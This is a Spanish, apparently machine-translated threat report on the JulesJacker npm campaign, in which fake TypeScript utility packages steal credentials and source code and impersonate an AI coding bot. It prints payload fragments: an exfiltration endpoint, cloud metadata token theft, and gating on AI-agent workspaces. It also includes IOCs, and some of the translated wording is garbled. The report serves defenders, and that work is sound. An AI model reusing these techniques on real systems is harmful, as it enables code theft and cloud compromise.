TL; DR
Un único operador de npm pasó seis semanas publicando paquetes de "utilidades" de TypeScript falsos, como por ejemplo: ts-form-utils, ts-project-lint, y ts-enum-helper.
Si bien los paquetes exponen pequeñas funciones de validación de apariencia legítima, la carga útil real se ejecuta durante la instalación o la primera vez que se requiere y realiza la identificación del host, el descubrimiento de la organización de GitHub, la clonación de repositorios y la exfiltración de código fuente.
El malware ataca específicamente a organizaciones de GitHub de alto valor, incluidas varias Shopify Los repositorios, luego los archivan y extraen los árboles de origen accesibles a un punto final de colección centralizado.
Como parte del flujo de trabajo de compromiso, la carga útil commitEl archivo sa vuelve a los repositorios de la víctima mientras suplanta la identidad de codificación autónoma de Google. google-labs-jules[bot].
Hicimos un seguimiento de la campaña, llamada JulesJacker — en múltiples ámbitos de publicación y al menos cinco generaciones de carga útil, incluidas variantes cifradas y compatibles con entornos aislados (sandbox).
La variante más reciente se dirige específicamente a la infraestructura de análisis de malware: se activa solo dentro de los entornos de análisis, roba tokens de cuentas de servicio de metadatos en la nube y sondea los planos de control de Kubernetes y los depósitos de almacenamiento en la nube.
El IOC principal compartido entre todas las generaciones de carga útil es el punto final de recolección. aaronstack[.]com/jules-collect.
Gravedad: crítica.
El ataque: cómo funciona
Cada paquete de JulesJacker sigue la misma plantilla. package.json Anuncia una herramienta auxiliar de TypeScript inofensiva con licencia MIT y sin repositorio de código fuente vinculado. index.js Exporta un puñado de funciones reales y funcionales (expresiones regulares de correo electrónico, mapas de enumeraciones, tablas de reglas de lint) para que un desarrollador que realmente importe el paquete vea un comportamiento plausible. La malicia reside en otro lugar: en un postinstalación gancho, o en un bloque en la parte inferior de index.js que se ejecuta en el momento en que se requiere el módulo.
Las cargas útiles han evolucionado a través de etapas internas claramente numeradas (el operador etiqueta sus propios eventos de telemetría). sc1-, sc3-, sc4-y así sucesivamente), y observar esa evolución es la forma más clara de entender la campaña.
Generación 1-2: reconocimiento y robo de git-config
Los primeros paquetes eran simples ladrones de información. Al instalarse, extraían variables de entorno, el archivo hosts de GitHub CLI y la configuración global de git (git config –global –list, git remoto -v), luego envió el paquete mediante POST al punto final de la colección. Esto estableció la firma del operador: una historia de portada de "utilidades de validación de formularios de TypeScript", una baliza saliente a un solo dominio y una preferencia por las credenciales de desarrollador en lugar de los datos del consumidor.
Generación 3: sondas de escape del hipervisor y del kernel
Una versión de mitad de campaña dio un giro radical hacia los ataques a la infraestructura. En lugar de robar la configuración, ejecutó un sondeo de reconocimiento. AF_VSOCK sockets, regiones VMIO de virtio, / dev / memy banderas de endurecimiento del kernel, e incluso intentos de fallos del kernel activados por sysrq, comportamiento asociado con intentos de salir de una máquina virtual o contenedor. Las etiquetas de telemetría (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probe) hizo explícita la intención. Esta variante estaba claramente dirigida a entornos cloud-sandbox y serverless-runner — el tipo de máquina virtual efímera que compila y prueba código no confiable.
Generación 3 (SC3): el gusano de escritura entre repositorios
El centro de gravedad de la campaña se convirtió en un ladrón de repositorios que se autopropagaba. Al instalarse, la carga útil ejecuta una secuencia temporizada de cinco etapas:
- Fase 0 (~100 ms): huella digital del host: nombre de host, información del usuario, identidad de git.
- Fase 1 (~3 s): determinar a qué organización pertenece la víctima mediante inspección git remoto -v, luego busque un valor codificado CONFIGURACIÓN_ORGÁNICA acceso a tablas y repositorios de prueba con git ls-remote — enrutado a través de un proxy SSRF controlado por el atacante en http://git@192.168.0.1:8080.
- Fase 2 (~10 s): git clone Cada repositorio accesible en la lista de destino, comprime el árbol en formato tarball y gzip, lo codifica en base64 y lo extrae por fragmentos.
- Fase 3 (~45 s): la “prueba de acceso”: clona un repositorio con permisos de escritura, coloca un archivo llamado SECURITY-POC.md y commit con el autor establecido en google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> y el mensaje tarea: actualizar la caché de dependencias, luego enviar a la rama principal de la víctima.
La lista de objetivos codificada no es genérica. Enumera más de treinta Shopify repositorios por nombre — Shopify/shopify, Shopify/identidad, Shopify/facturación, Shopify/bóveda, Shopify/Secretos, Shopify/infraestructura, Shopify/.githuby muchos más, junto con una organización de pruebas, Aaron Stack Barnes, que el operador parece controlar y utiliza como destino de escritura.
Generación 4 (SC4): encriptada y controlada.
La variante más reciente, orientada a los desarrolladores, añade dos capas de evasión sobre el gusano de SC3.
En primer lugar, la carga útil ya no se envía como texto plano. La lógica real reside en un bloque cifrado con AES-256-CBC, lib/.perf.dat, con el IV en sus primeros dieciséis bytes. El cargador en index.js reconstruye la clave de descifrado a partir de fragmentos de cadena concatenados, descifra el blob y lo ejecuta con nueva función(). Incluso los nombres de los módulos están divididos para evitar los escáneres estáticos. require('crypt' + 'o'), requerir('f' + 's').
En segundo lugar, está restringido al host. Una variante solo descifra y se ejecuta cuando os.hostname() iguales caja de desarrollo or ubuntu-fc-uvm (un valor predeterminado de Firecracker microVM) o contiene la subcadena caja de desarrollo. Otras puertas en la presencia de un .julios/ directorio de trabajo:
javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', { cwd: cwd, jules_cwd: readDir(cwd + '/.jules'), jules_app: readDir('/app/.jules') }); En otras palabras, la carga útil SC4 está diseñada para permanecer inactiva en la computadora portátil de un desarrollador común y corriente y despertarse solo dentro del agente de IA automatizado y entornos de caja de arena El operador en realidad quiere llegar a un acuerdo.
Poniendo en marcha el laboratorio: la variante de infraestructura de análisis
El paquete más novedoso de la campaña, ts-enum-helper, no ataca a los desarrolladores ni a Shopify en absoluto. postinstall.sh Se abre con una puerta que delata el juego:
sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0 EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" El script no hace nada a menos que se configure una variable de entorno específica de una plataforma de análisis de malware. Cuando se configura, la carga útil sabe que se está ejecutando dentro del entorno aislado (sandbox) que existe para analizar y estudiar paquetes como este, y contraataca.
Primero extrae el token OAuth de la cuenta de servicio de GCP del servidor de metadatos de la instancia y lo exfiltra. Luego, usando ese token, realiza un barrido. Plano de control de Kubernetes accesible en kubernetes.default.svc:
- Enumera ClusterRoleBindings, ClusterRoles y Nodes;
- Sondea pods, Secretos y configmaps en sistema kube, la página predeterminada, kube-público, kube-node-leasey el espacio de nombres de análisis;
- emite llamadas a SelfSubjectAccessReview para mapear exactamente lo que la identidad robada tiene permitido hacer.
Finalmente, fuerza bruta los nombres de los buckets de Google Cloud Storage construidos a partir de un ID de proyecto de GCP codificado (firmante-raro-437603-p9) y número de proyecto, adivinando combinaciones como *-construcciones, *-artefactos, y diversos análisis- prefijos (resultados del análisis, paquetes de análisis, escaneos de análisis). Cada código de respuesta y cuerpo se registra y se envía de vuelta mediante POST al mismo jules-collect punto final
Este es un caso excepcional de una carga útil en la cadena de suministro diseñada específicamente para atacar la propia infraestructura de los defensores. La historia de encubrimiento a lo largo de toda la campaña —fragmentos de la cual aparecen dentro de las cargas útiles como comentarios que describen el comportamiento como una "prueba de concepto de investigación de seguridad... escritura entre repositorios mediante un token proxy de Git con alcance sobredimensionado"— es la misma autojustificación, ya sea que el objetivo en tiempo de ejecución sea un monorepositorio de Shopify o el servidor de metadatos del clúster de análisis.
Cronograma y alcance de la migración
JulesJacker no es un lanzamiento aislado. Es una operación continua que sobrevivió a un cierre del registro simplemente cambiando de nombre.
| Cuando | Eventos |
|---|---|
| Mediados de abril de 2026 | Los primeros paquetes aparecen bajo el ámbito del editor original: fachada de utilidad TS, entorno y exfiltración de git-config. |
| A principios de mayo 2026 | Se ha publicado una variante de reconocimiento para el hipervisor y el escape del kernel. |
| Mediados o finales de mayo de 2026 | El gusano de escritura entre repositorios SC3 aparece junto con cargas útiles dirigidas a Shopify y google-labs-jules[bot] Suplantación de identidad. SC4 introduce cargadores cifrados con AES y controlados por el host. |
| Finales de mayo 2026 | npm elimina el ámbito del editor original; los nombres de los paquetes se resuelven en marcadores de posición vacíos que mantienen la seguridad. |
| Misma semana | El operador migra a un entorno de apariencia casi idéntica y vuelve a publicar el gusano, incluida la variante de infraestructura de análisis. |
La migración es la parte con la que los defensores deberían sentarse. La eliminación del primer alcance no puso fin a la campaña ni siquiera la ralentizó. El operador ya había creado un alcance paralelo cuyo nombre difiere del original en un solo carácter, y continuó publicando durante la misma semana. Al momento de escribir esto, el nuevo alcance ts-form-utils (versiones 1.0.0 a 1.1.0), su ts-project-lint (1.0.0 y 1.1.0), y la versión independiente ts-enum-helper (1.0.0) siguen siendo instalables.
Indicadores de compromiso
Todos los indicadores que aparecen a continuación fueron confirmados con la fuente del paquete.
| Tipo | Indicador | Notas |
|---|---|---|
| Red (C2) | aaronstack[.]com/jules-collect | Un único punto final de recopilación en todas las generaciones; recibe telemetría JSON y fragmentos tarball del repositorio comprimidos con base64-gzip. |
| Red (proxy SSRF) | http://git@192.168.0.1:8080 | Interfaz para un token proxy git de alcance excesivo utilizado para acceder a los repositorios de la organización objetivo. |
| Red (nube) | metadata.google.internal/computeMetadata/v1kubernetes.default.svcstorage.googleapis.com/storage/v1/b | Utilizado únicamente por la variante de infraestructura de análisis para el robo de tokens y el reconocimiento del plano de control de Kubernetes. |
| Identidad | google-labs-jules[bot]161369871+google-labs-jules[bot]@users.noreply.github.com | Falsificado commit La identidad del autor se introdujo en las ramas principales de la víctima. |
| Archivo | lib/.perf.dat | Bloque de carga útil cifrado con AES-256-CBC; IV almacenado en los primeros 16 bytes y clave reconstruida dinámicamente en index.js. |
| Archivo | SECURITY-POC.md | Se cayó y commitdevuelto a los repositorios de víctimas con el mensaje chore: update dependency cache. |
| Archivo | scripts/postinstall.sh | Cerrado en $MALYSIS_ANALYSIS_ID; identifica la variante orientada a la infraestructura de análisis. |
| Salud Conductual | os.hostname() cheques para devbox / ubuntu-fc-uvm | Control del entorno de pruebas (sandbox) y del agente de IA antes del descifrado y la ejecución de la carga útil. |
| Salud Conductual | .jules/ y /app/.jules lecturas de directorio | Selección explícita de entornos de trabajo de agentes de IA. |
| Salud Conductual | sc1-, sc3-, sc4-, s0-vmm-recon | Etiquetas de etapa de telemetría definidas por el operador, útiles para la detección y la búsqueda. |
| Objetivo de la nube | rare-signer-437603-p9malysis-* adivinanzas del cubo | Identificadores de proyectos de GCP y patrones de enumeración de depósitos de almacenamiento codificados directamente en la variante de infraestructura de análisis. |
| Forma del paquete | Fachada de paquete de utilidad TS sin campo de repositorio | Plantilla de campaña consistente: paquetes de utilidad TypeScript falsos con cargas útiles maliciosas incrustadas en postinstall hooks o adjunto a index.js. |






